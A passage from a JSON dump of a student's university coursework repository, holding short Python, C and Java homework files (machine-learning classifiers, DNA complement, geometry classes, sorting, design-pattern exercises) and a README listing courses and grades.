y_train)\ny_train_pred = ada.predict(X_train)\ny_test_pred = ada.predict(X_test)\n\nada_train = accuracy_score(y_train, y_train_pred)\nada_test = accuracy_score(y_test, y_test_pred)\nprint('AdaBoost train/test accuracies %.3f/%.3f' % (ada_train, ada_test))\n\n# plot the results\nx_min = X_train[:, 0].min() - 1\nx_max = X_train[:, 0].max() + 1\ny_min = X_train[:, 1].min() - 1\ny_max = X_train[:, 1].max() + 1\n\nxx, yy = np.meshgrid(np.arange(x_min, x_max, 0.1), np.arange(y_min, y_max, 0.1))\nf, axarr = plt.subplots(nrows=1, ncols=2, sharex='col', sharey='row', figsize=(8, 3))\n\nfor idx, clf, tt in zip([0, 1], [tree, ada], ['Dtree', 'AdaBoost']):\n clf.fit(X_train, y_train)\n\n Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n Z = Z.reshape(xx.shape)\n\n axarr[idx].contourf(xx, yy, Z, alpha=0.3)\n axarr[idx].scatter(X_train[y_train==0, 0], X_train[y_train==0, 1], c='blue', marker='^', s=10)\n axarr[idx].scatter(X_train[y_train==1, 0], X_train[y_train==1, 1], c='red', marker='o', s=10)\n axarr[idx].set_title(tt)\naxarr[0].set_ylabel('Alcohol', fontsize=12)\nplt.text(9, -1.0, s='Hue', ha='center', va='center', fontsize=12)\nplt.show()" }, { "alpha_fraction": 0.5431917905807495, "alphanum_fraction": 0.5431917905807495, "avg_line_length": 25.269229888916016, "blob_id": "3e64207b28c3a4ba9f9883c253803ff6a0f079c7", "content_id": "a0d48da3aa3ae49c36495a4c7f6d17d4695b7b54", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 683, "license_type": "no_license", "max_line_length": 98, "num_lines": 26, "path": "/오픈소스SW활용/Problem/problem1.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nA DNA sequence is a string made up of the letters A, T, G, and C.\nTo find the complement of a DNA sequence, As are replaced by Ts, Ts by As, Gs by Cs, and Cs by Gs.\nFor example, the complement of AATTGCCGT is TTAACGGCA.\n\"\"\"\n\n\ndef complement(str):\n answer = []\n for i in range(len(str)):\n if str[i] == 'a':\n answer.append('t')\n elif str[i] == 't':\n answer.append('a')\n elif str[i] == 'c':\n answer.append('g')\n elif str[i] == 'g':\n answer.append('c')\n else:\n answer.append(' ')\n\n return \"\".join(answer)\n\n\nDNA = input('DNA sequence : ')\nprint('The complement is :', complement(DNA))\n" }, { "alpha_fraction": 0.5586373209953308, "alphanum_fraction": 0.6744045615196228, "avg_line_length": 109.56666564941406, "blob_id": "a116a86646cac469a636601031f72edf87b317e2", "content_id": "9b37abba7b1c188d6cf4c7c01c38c2263657793a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3655, "license_type": "no_license", "max_line_length": 197, "num_lines": 30, "path": "/README.md", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "# Dept. of Software, Dankook University\n## :books: Course Information\n\n| Year| Semester | Subject(KOR) | Subject(ENG) | Grade |\n| :---: | :---: | --- | --- | --- |\n| 2020 | 2 | 영상정보처리 | [Image Processing](https://github.com/sangm1n/DKUniversity/tree/master/%EC%98%81%EC%83%81%EC%A0%95%EB%B3%B4%EC%B2%98%EB%A6%AC) | A+ |\n| 2020 | 2 | 딥러닝/클라우드 | [Deep Learning/Cloud](https://github.com/sangm1n/DKUniversity/tree/master/%EB%94%A5%EB%9F%AC%EB%8B%9D%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C) | A+ |\n| 2020 | 1 | 컴퓨터그래픽스 | [Computer Graphics](https://github.com/sangm1n/DKUniversity/tree/master/%EC%BB%B4%ED%93%A8%ED%84%B0%EA%B7%B8%EB%9E%98%ED%94%BD%EC%8A%A4) | A+ |\n| 2020 | 1 | 디자인패턴 | [Design Pattern](https://github.com/sangm1n/DKUniversity/tree/master/%EB%94%94%EC%9E%90%EC%9D%B8%ED%8C%A8%ED%84%B4) | B+ |\n| 2020 | 1 | 오픈소스SW활용 | [Open Source SW Utilization](https://github.com/sangm1n/DKUniversity/tree/master/%EC%98%A4%ED%94%88%EC%86%8C%EC%8A%A4SW%ED%99%9C%EC%9A%A9) | A+ |\n| 2020 | 1 | 시큐어코딩 | [Secure Coding](https://github.com/sangm1n/DKUniversity/tree/master/%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9) | A+ |\n| 2020 | 1 | 실무중심산학협력프로젝트1 | Industrial Cooperative Project1 | A |\n| 2019 | 2 | 웹프로그래밍 | [Web Programming](https://github.com/sangm1n/DKUniversity/tree/master/%EC%9B%B9%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D) | A+ |\n| 2019 | 2 | 멀티미디어 신호처리 | [Multimedia Signal Processing](https://github.com/sangm1n/DKUniversity/tree/master/%EB%A9%80%ED%8B%B0%EB%AF%B8%EB%94%94%EC%96%B4%EC%8B%A0%ED%98%B8%EC%B2%98%EB%A6%AC) | A |\n| 2019 | 2 | 인공지능 | [Artificial Intelligence](https://github.com/sangm1n/DKUniversity/tree/master/%EC%9D%B8%EA%B3%B5%EC%A7%80%EB%8A%A5) | A+ |\n| 2019 | 2 | 고급프로그래밍 | [Advanced Programming](https://github.com/sangm1n/DKUniversity/tree/master/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D) | A |\n| 2019 | 2 | 실무중심산학협력프로젝트2 | [Industrial Cooperative Project2](https://github.com/sangm1n/LookForClothes) | A+ |\n| 2019 | 1 | 컴퓨터네트워크 | [Computer Network](https://github.com/sangm1n/DKUniversity/tree/master/%EC%BB%B4%ED%93%A8%ED%84%B0%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC) | B+ |\n| 2019 | 1 | 알고리즘 | [Algorithm](https://github.com/sangm1n/DKUniversity/tree/master/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98) | B+ |\n| 2019 | 1 | 운영체제 | [Operating Systems](https://github.com/sangm1n/DKUniversity/tree/master/%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C) | B+ |\n| 2019 | 1 | 모바일플랫폼 | [Mobile Platform](https://github.com/sangm1n/DKUniversity/tree/master/%EB%AA%A8%EB%B0%94%EC%9D%BC%ED%94%8C%EB%9E%AB%ED%8F%BC) | A+ |\n| 2018 | 2 | 컴퓨터구조 | [Computer Architecture](https://github.com/sangm1n/DKUniversity/tree/master/%EC%BB%B4%ED%93%A8%ED%84%B0%EA%B5%AC%EC%A1%B0) | A |\n| 2018 | 2 | 자료구조 | [Data Structure](https://github.com/sangm1n/DKUniversity/tree/master/%EC%9E%90%EB%A3%8C%EA%B5%AC%EC%A1%B0/material) | A |\n| 2018 | 2 | 시스템 프로그래밍 | [Systems Programming](https://github.com/sangm1n/DKUniversity/tree/master/%EC%8B%9C%EC%8A%A4%ED%85%9C%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D) | A+ |\n| 2018 | 1 | 객체지향 프로그래밍 | Object-Oriented Programming | B |\n| 2018 | 1 | 데이터베이스 기초 | Fundamentals of database | C+ |\n| 2018 | 1 | 멀티미디어시스템 | Multimedia System | B+ |\n| 2018 | 1 | 창의적공학설계 | Creative Engineering Design | B+ |\n| 2015 | 2 | 컴퓨터 프로그래밍 | Computer Programming | B |\n| 2015 | 1 | 프로그래밍1 | Programming1 | B |\n" }, { "alpha_fraction": 0.7109004855155945, "alphanum_fraction": 0.7440758347511292, "avg_line_length": 15.307692527770996, "blob_id": "fb74bbedbc5c0e94501ecde605285e0c853bcc29", "content_id": "d0926196262185302633da001a309b56835a6370", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 211, "license_type": "no_license", "max_line_length": 41, "num_lines": 13, "path": "/디자인패턴/report8/Pickup.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter9;\n\nimport chapter7.AbstractCar;\nimport chapter7.Engine;\n\npublic class Pickup extends AbstractVan {\n\tpublic Pickup(Engine engine) {\n\t\tsuper(engine);\n\t}\n\tpublic int getPrice() {\n\t\treturn 9000;\n\t}\n}" }, { "alpha_fraction": 0.48571428656578064, "alphanum_fraction": 0.5015873312950134, "avg_line_length": 23.894737243652344, "blob_id": "3e21c4db797f11cbc1a100d6c83f45b3e4f275be", "content_id": "14312907961dae0b2894dafee32a2fb248e5c3eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 945, "license_type": "no_license", "max_line_length": 58, "num_lines": 38, "path": "/오픈소스SW활용/3. Modules and Objects/rectangle.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "class square:\n def __init__(self, s):\n self.s = s\n def perimeter(self):\n return round(4 * self.s, 2)\n def area(self):\n return round(self.s**2, 2)\n\nclass rectangle:\n def __init__(self, a, b):\n self.a = a\n self.b = b\n def perimeter(self):\n return round(2*self.a + 2*self.b, 2)\n def area(self):\n return round(self.a * self.b, 2)\n\nclass parallelogram:\n def __init__(self, a, b, h):\n self.a = a\n self.b = b\n self.h = h\n def perimeter(self):\n return round(2*self.a + 2*self.b, 2)\n def area(self):\n return round(self.b * self.h, 2)\n\nclass trapezoid:\n def __init__(self, a, b, c, d, h):\n self.a = a\n self.b = b\n self.c = c\n self.d = d\n self.h = h\n def perimeter(self):\n return round(self.a + self.b + self.c + self.d, 2)\n def area(self):\n return round(self.h * (self.a + self.b)/2, 2)" }, { "alpha_fraction": 0.6980830430984497, "alphanum_fraction": 0.7044728398323059, "avg_line_length": 26.2608699798584, "blob_id": "60619c5b81f1d663ed9da139359b9d4f687c4169", "content_id": "071d7a041d48a8cd17800c719a6ac4af468c170d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 626, "license_type": "no_license", "max_line_length": 88, "num_lines": 23, "path": "/오픈소스SW활용/3. Modules and Objects/problem2.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nGiven two d-dimensional vectors u and v, the ways to compute their distance are various.\n\"\"\"\n\nimport numpy as np\n\nN = int(input('input N-dimension : '))\nu = [np.random.randint(10) for x in range(N)]\nv = [np.random.randint(10) for x in range(N)]\nprint('u vector :', u)\nprint('v vector :', v)\n\nimport euclidean\nimport manhattan\nimport hamming\nimport cosine\nimport chebyshev\n\nprint('Euclidean distance :', euclidean.dist(u, v))\nprint('Manhattan distance :', manhattan.dist(u, v))\nprint('Hamming distance :', hamming.dist(u, v))\nprint('Cosine distance :', cosine.dist(u, v))\nprint('Chebyshev distance :', chebyshev.dist(u, v))" }, { "alpha_fraction": 0.6747252941131592, "alphanum_fraction": 0.6886447072029114, "avg_line_length": 40.39393997192383, "blob_id": "e99837f3a0d309102da2c1d28bdb7dadb881c2fa", "content_id": "32d410ec75bcbb9c36bf4f9e178d412d36c7f57c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1373, "license_type": "no_license", "max_line_length": 92, "num_lines": 33, "path": "/인공지능/rand_forest.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "# AI homework by sangmin\nfrom sklearn import tree\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\nimport numpy as np\nimport pylab as plt\nimport os\nimport warnings\nwarnings.filterwarnings('ignore')\n\nreport1 = pd.read_csv(\"C:/Users/sangmin/Desktop/code/DKU_git/인공지능/dstest.csv\")\nX = np.array(pd.DataFrame(report1, columns=['X','y']))\ny = np.array(pd.DataFrame(report1, columns=['C']))\nX_train, X_test, y_train, y_test = train_test_split(X,y, train_size = 0.8)\n\nest = 10;\nfor i in range(9):\n ran = RandomForestClassifier(n_estimators=est, criterion='entropy',\n max_depth=2, min_samples_split=10,\n min_samples_leaf=10, max_leaf_nodes=100,\n bootstrap=True)\n ran.fit(X_train, y_train)\n y_train_pred = ran.predict(X_train)\n y_test_pred = ran.predict(X_test)\n ran_train = accuracy_score(y_train, y_train_pred)\n ran_test = accuracy_score(y_test, y_test_pred)\n print('%d est RandomForest train/test accuracies %.3f/%.3f' % (est,ran_train, ran_test))\n est = est+5;" }, { "alpha_fraction": 0.463440865278244, "alphanum_fraction": 0.4817204177379608, "avg_line_length": 19.688888549804688, "blob_id": "6520ee28bb4600a155167ad296fd91db24ba7d71", "content_id": "2a566817227d60c2aa32d804cbe4d98feb9e77d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1212, "license_type": "no_license", "max_line_length": 56, "num_lines": 45, "path": "/프로그래밍/report2.c", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UHC", "text": "// programming homework by sangmin\n\n/*\n입력된 수 만큼의 정수들을 예제 7-5의 선택정렬 프로그램을 이용하여 정렬하는 프로그램을 작성하시오.\n이러한 정렬과정을 반복하며,\n정수의 수를 입력할 때 -1 이 입력되면 프로그램을 종료하도록 작성하시오.\n*/\n\n#define MAX 999\t\t\t\t\t\t\t\t\t\t// define 매크로 정의\n#include <stdio.h>\n\nint main() {\n\tint num, index, tmp = 0;\n\tint arr[MAX];\t\t\t\t\t\t\t\t\t// 빈 배열 선언\n\n\tprintf(\"============= 정렬 프로그램 =============\\n\");\n\twhile (1) {\n\t\tprintf(\"\\n정렬할 정수의 수 입력 (종료 시 -1 입력)\\n>> \");\n\t\tscanf_s(\"%d\", &num);\n\t\tif (num == -1)\t\t\t\t\t\t\t\t// -1 입력 시 종료\n\t\t\tbreak;\n\n\t\tprintf(\"%d개의 정수 차례로 입력\\n>> \", num);\n\t\tfor (int i = 0; i < num; i++)\n\t\t\tscanf_s(\"%d\", &arr[i]);\n\n\t\tfor (int i = 0; i < num - 1; i++) {\t\t\t// 선택정렬\n\t\t\tindex = i;\n\t\t\tfor (int j = i + 1; j < num; j++)\t\t// 가장 작은 값 선택\n\t\t\t\tif (arr[index] > arr[j])\n\t\t\t\t\tindex = j;\n\n\t\t\ttmp = arr[i];\t\t\t\t\t\t\t// switch\n\t\t\tarr[i] = arr[index];\n\t\t\tarr[index] = tmp;\n\t\t}\n\n\t\tprintf(\"정렬 결과\\n>> \");\n\t\tfor (int i = 0; i < num; i++)\n\t\t\tprintf(\"%d \", arr[i]);\n\t\tprintf(\"\\n\");\n\t}\n\n\treturn 0;\n}" }, { "alpha_fraction": 0.45249101519584656, "alphanum_fraction": 0.4617359936237335, "avg_line_length": 20.87640380859375, "blob_id": "8cda56d77f7e6ac906a16e59d2bd0f55568e7cf6", "content_id": "c6731550b87b5fe05a66dd44e6b2bae96d994ba1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2453, "license_type": "no_license", "max_line_length": 62, "num_lines": 89, "path": "/디자인패턴/report1.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "/*\n * 2020.03.23 가위바위보게임\n * by. sangmin\n */\n\nimport java.util.Scanner;\n\npublic class Homework {\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(\"<<<<< 가위 바위 보 게임 (비길 시 다시) >>>>>\\n\");\n\t\t\n\t\t// 반복문을 실행하기 위한 조건 변수 go\n\t\tint go = 0;\n\t\t\n\t\twhile(go == 0) {\n\t\t\tSystem.out.print(\"person-A >> \");\t\t\t\t\t\n\t\t\tScanner scanner = new Scanner(System.in);\n\t\t\tString pA = scanner.next();\n\t\t\t\n\t\t\t// A가 가위, 바위, 보 중 하나를 입력한 경우\n\t\t\tif (pA.equals(\"가위\") | pA.equals(\"바위\") | pA.equals(\"보\")) {\n\t\t\t\twhile(true) {\n\t\t\t\t\tSystem.out.print(\"person-B >> \");\n\t\t\t\t\tString pB = scanner.next();\n\t\t\t\t\t\n\t\t\t\t\t// B가 가위, 바위, 보 중 하나를 입력한 경우\n\t\t\t\t\tif (pB.equals(\"가위\") | pB.equals(\"바위\") | pB.equals(\"보\")) {\n\t\t\t\t\t\t// switch문에서 비기지 않은 경우 go 변수에 1을 대입하여 게임 종료\n\t\t\t\t\t\t// 비긴 경우 go 변수는 그대로 0이므로 계속해서 게임 반복\n\t\t\t\t\t\tswitch(pA) {\n\t\t\t\t\t\tcase \"가위\":\n\t\t\t\t\t\t\tswitch(pB) {\n\t\t\t\t\t\t\tcase \"가위\":\n\t\t\t\t\t\t\t\tSystem.out.println(\"결과 : 비겼습니다.\");\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase \"바위\":\n\t\t\t\t\t\t\t\tSystem.out.println(\"결과 : B가 이겼습니다.\");\n\t\t\t\t\t\t\t\tgo = 1;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase \"보\":\n\t\t\t\t\t\t\t\tSystem.out.println(\"결과 : A가 이겼습니다.\");\n\t\t\t\t\t\t\t\tgo = 1;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"바위\":\n\t\t\t\t\t\t\tswitch(pB) {\n\t\t\t\t\t\t\tcase \"가위\":\n\t\t\t\t\t\t\t\tSystem.out.println(\"결과 : A가 이겼습니다.\");\n\t\t\t\t\t\t\t\tgo = 1;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase \"바위\":\n\t\t\t\t\t\t\t\tSystem.out.println(\"결과 : 비겼습니다.\");\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase \"보\":\n\t\t\t\t\t\t\t\tSystem.out.println(\"결과 : B가 이겼습니다.\");\n\t\t\t\t\t\t\t\tgo = 1;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"보\":\n\t\t\t\t\t\t\tswitch(pB) {\n\t\t\t\t\t\t\tcase \"가위\":\n\t\t\t\t\t\t\t\tSystem.out.println(\"결과 : B가 이겼습니다.\");\n\t\t\t\t\t\t\t\tgo = 1;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase \"바위\":\n\t\t\t\t\t\t\t\tSystem.out.println(\"결과 : A가 이겼습니다.\");\n\t\t\t\t\t\t\t\tgo = 1;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase \"보\":\n\t\t\t\t\t\t\t\tSystem.out.println(\"결과 : 비겼습니다\");\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t// B가 가위, 바위, 보 이외의 문자를 입력한 경우 반복문 계속 수행\n\t\t\t\t\telse\n\t\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\t\t\t\n\t\t\t// A가 가위, 바위, 보 이외의 문자를 입력한 경우 반복문 계속 수행\n\t\t\telse\n\t\t\t\tcontinue;\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.5282353162765503, "alphanum_fraction": 0.5505882501602173, "avg_line_length": 16.346939086914062, "blob_id": "fd38fa7a77b0472290e56c4d886493bccf05561c", "content_id": "793c04df45bc5d6c22375869de37f94d9dbe3bb2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1082, "license_type": "no_license", "max_line_length": 52, "num_lines": 49, "path": "/디자인패턴/report5/Fish.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UHC", "text": "package chapter6;\n\npublic class Fish extends GameObject {\n\tpublic Fish(int startX, int startY, int distance) {\n\t\tsuper(startX, startY, distance);\n\t}\n\n\t@Override\n\tpublic void move() {\n\t\t// 1~4 사이 랜덤한 정수 추출\n\t\tint num = (int)(Math.random()*4 + 1);\n\t\t\n\t\t// 현재 좌표를 빈 칸으로 초기화\n\t\tGame.background[x][y] = '□';\n\t\t\n\t\t// 추출된 정수마다 동작 설정\n\t\tswitch(num) {\n\t\t// y=0(맨 왼쪽)에 있지 않은 경우에만 왼쪽으로 이동\n\t\tcase 1:\n\t\t\tif (y != 0)\n\t\t\t\ty = y - distance;\n\t\t\tbreak;\n\t\t// x=9(맨 아래)에 있지 않은 경우에만 아래로 이동\n\t\tcase 2:\n\t\t\tif (x != 9)\n\t\t\t\tx = x + distance;\n\t\t\tbreak;\n\t\t// x=0(맨 위)에 있지 않은 경우에만 위로 이동\n\t\tcase 3:\n\t\t\tif (x != 0)\n\t\t\t\tx = x - distance;\n\t\t\tbreak;\n\t\t// y=19(맨 오른쪽)에 있지 않은 경우에만 오른쪽으로 이동\n\t\tcase 4:\n\t\t\tif (y != 19)\n\t\t\t\ty = y + distance;\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\t// 이동한 좌표에 getShape() 함수를 통해 F 표시\n\t\tGame.background[x][y] = getShape();\n\n\t}\n\n\t@Override\n\tpublic char getShape() {\n\t\treturn 'F';\n\t}\n}\n" }, { "alpha_fraction": 0.7021276354789734, "alphanum_fraction": 0.7127659320831299, "avg_line_length": 22.75, "blob_id": "02145e72bd19277fbbf0087bd6c9a5e86a71971b", "content_id": "3ae60a66bab578da64f61aa5f7e000530e2b5216", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 94, "license_type": "no_license", "max_line_length": 42, "num_lines": 4, "path": "/오픈소스SW활용/3. Modules and Objects/cosine.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "from scipy.spatial import distance\n\ndef dist(u, v):\n return round(distance.cosine(u, v), 2)" }, { "alpha_fraction": 0.6177945137023926, "alphanum_fraction": 0.6503759622573853, "avg_line_length": 29.69230842590332, "blob_id": "547a47ce6cf590eacd2a620e1079584bcb8ccb3a", "content_id": "4c5d8c47e9ca64c86c72fdd409b6d22e37a3dc80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2394, "license_type": "no_license", "max_line_length": 84, "num_lines": 78, "path": "/오픈소스SW활용/Problem/problem3.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nDesign and implement a class Country that stores the information on countries s\nuch as nation name, capital city, population, and area.\nThen write a program that reads in a set of countries and prints\n\"\"\"\n\n\nclass Country:\n def __init__(self, nation_name, capital_city, population, area):\n self.nation_name = nation_name;\n self.capital_city = capital_city;\n self.population = population;\n self.area = area;\n self.density = round(self.area / self.population, 2);\n\n\nnation_name = ['Korea', 'USA', 'Japan', 'China', 'Tailand']\ncapital_city = ['Seoul', 'Washington, D.C', 'Tokyo', 'Beijing', 'Bangkok']\npopulation = [51164435, 326766748, 127185332, 1415045928, 69183173]\narea = [100210, 9372610, 377930, 9706961, 513120]\n\ncountry = []\nfor i in range(5):\n country.append(Country(nation_name[i], capital_city[i], population[i], area[i]))\n\n\ndef largestArea(country):\n area = []\n for i in range(len(country)):\n area.append(country[i].area)\n large_area = max(area)\n large_area_idx = area.index(large_area)\n\n print('========== Largest Area Information ==========')\n print('{}, Area is {}\\n'.format(\n country[large_area_idx].nation_name, country[large_area_idx].area\n ))\n\n\ndef largestPopulation(country):\n population = []\n for i in range(len(country)):\n population.append(country[i].population)\n large_pop = max(population)\n large_pop_idx = population.index(large_pop)\n\n print('======= Largest Population Information =======')\n print('{}, Population is {}\\n'.format(\n country[large_pop_idx].nation_name, country[large_pop_idx].population\n ))\n\n\ndef largestDensity(country):\n density = []\n for i in range(len(country)):\n density.append(country[i].density)\n large_density = max(density)\n large_density_idx = density.index(large_density)\n\n print('=== Largest Population Density Information ===')\n print('{}, Population Density is {}\\n'.format(\n country[large_density_idx].nation_name, country[large_density_idx].density\n ))\n\n\ndef capitalCity(country):\n print('====== Country Capital City Information ======')\n\n for i in range(len(country)):\n print('{}, capital city is {}'.format(\n country[i].nation_name, country[i].capital_city\n ))\n\n\nlargestArea(country)\nlargestPopulation(country)\nlargestDensity(country)\ncapitalCity(country)\n" }, { "alpha_fraction": 0.5803213119506836, "alphanum_fraction": 0.6365461945533752, "avg_line_length": 23.950000762939453, "blob_id": "03eebdce46a160aa539232a903dc449a1c591ac5", "content_id": "63859d48ca0909cf392e23eab4464f0691c5b6df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 498, "license_type": "no_license", "max_line_length": 97, "num_lines": 20, "path": "/오픈소스SW활용/4. Lists/problem3.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nUp through history, great minds have developed different computational schemes for the number PI.\nThere are two schemes: one by Leibniz (1646-1716) and one by Euler (1707 - 1783).\n\"\"\"\n\nimport math\n\nN = int(input('input N : '))\nleibniz = euler = 0\n\nfor i in range(N):\n leibniz += (8 / (4*i+1) / (4*i+3))\n\nfor i in range(1, N):\n euler += (6 / i**2)\neuler = math.sqrt(euler)\n\nprint('math.pi :', round(math.pi, 4))\nprint('Leibniz pi :', round(leibniz, 4))\nprint('Euler pi :', round(euler, 4))" }, { "alpha_fraction": 0.6698564887046814, "alphanum_fraction": 0.720095694065094, "avg_line_length": 19.899999618530273, "blob_id": "1cd965e99b99da840fe3971fa89f533478b6b0a0", "content_id": "74ece5e5c0f360193e38b48d0172ecb8e3fe23d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 418, "license_type": "no_license", "max_line_length": 44, "num_lines": 20, "path": "/디자인패턴/report7-1/Main.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter8_1;\n\n/*\n * 2020.05.02 Foobar Motor Company\n\n * by. sangmin\n */\n\npublic class Main {\n\tpublic static void main(String []args) {\n\t\tSpeedMonitor monitor = new SpeedMonitor();\n\t\tSpeedometer speedo = new Speedometer();\n\t\tspeedo.addObserver(monitor);\n\t\tspeedo.setCurrentSpeed(50);\n\t\tspeedo.setCurrentSpeed(70);\n\t\tspeedo.setCurrentSpeed(40);\n\t\tspeedo.setCurrentSpeed(100);\n\t\tspeedo.setCurrentSpeed(65);\n\t}\n}\n" }, { "alpha_fraction": 0.7251772880554199, "alphanum_fraction": 0.7358155846595764, "avg_line_length": 39.32143020629883, "blob_id": "ab53e175e72212bf57bfa2a8b0e382f61ea30ada", "content_id": "735785bf55f6b76a72e35d37d784b27b04b4afad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1136, "license_type": "no_license", "max_line_length": 89, "num_lines": 28, "path": "/인공지능/adaboost.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "# AI homework by sangmin\nfrom sklearn import tree\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\nimport numpy as np\nimport warnings\nwarnings.filterwarnings('ignore')\n\nreport1 = pd.read_csv(\"C:/Users/sangmin/Desktop/code/DKU_git/인공지능/dstest.csv\")\nX = np.array(pd.DataFrame(report1, columns=['X','y']))\ny = np.array(pd.DataFrame(report1, columns=['C']))\nX_train, X_test, y_train, y_test = train_test_split(X,y, train_size = 0.8)\n\nest = 10;\nfor i in range(9):\n ada = AdaBoostClassifier(n_estimators=est, random_state = 5)\n ada.fit(X_train, y_train)\n y_train_pred = ada.predict(X_train)\n y_test_pred = ada.predict(X_test)\n ada_train = accuracy_score(y_train, y_train_pred)\n ada_test = accuracy_score(y_test, y_test_pred)\n print('%d est AdaBoost train/test accuracies %.3f/%.3f' % (est, ada_train, ada_test))\n est = est +5;" }, { "alpha_fraction": 0.4813278019428253, "alphanum_fraction": 0.5062240958213806, "avg_line_length": 19.775861740112305, "blob_id": "3dd624c65a43e03377a61b61158fbe797432eedf", "content_id": "7cdc470bad3adef6c20fd58726f7b9b09a4bcae8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1205, "license_type": "no_license", "max_line_length": 74, "num_lines": 58, "path": "/오픈소스SW활용/Problem/find_index.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nWrite and test a Python function that finds row indices whose\nEuclidean distance is less than or equal to 10.0 to the 37th row\n\"\"\"\n\nimport re\nimport math\n\n\ndef find_index(data, row1, row2):\n first = []\n second = []\n dist = 0\n\n for i in data:\n if i[0] == row1:\n first.append(i)\n if i[0] == row2:\n second.append(i)\n\n first.sort()\n second.sort()\n\n for a, b in zip(first, second):\n dist += (a[2] - b[2]) ** 2\n\n result = math.sqrt(dist)\n return result\n\n\ndef make_data():\n data = []\n fd = open(\"A.dat\", \"r\")\n fd_data = \"\".join(fd.readlines())\n\n p = re.compile(r\"(\\d+),(\\d+):(\\d+)|(\\d+),(\\d+):(-\\d+)\")\n find = p.findall(fd_data)\n\n for i in find:\n tmp = list(i)\n tmp.remove(\"\")\n tmp.remove(\"\")\n tmp.remove(\"\")\n tmp = list(map(int, tmp))\n data.append(tmp)\n return data\n\n\nif __name__ == \"__main__\":\n data = make_data()\n\n print(\"find row indices (less than or equal to 10.0 to the 37th row)\")\n for i in range(0, 99):\n temp_result = find_index(data, i, 37)\n if i == 37:\n continue\n elif temp_result <= 10.0:\n print(\"index :\", i)\n" }, { "alpha_fraction": 0.48701298236846924, "alphanum_fraction": 0.5129870176315308, "avg_line_length": 22.769229888916016, "blob_id": 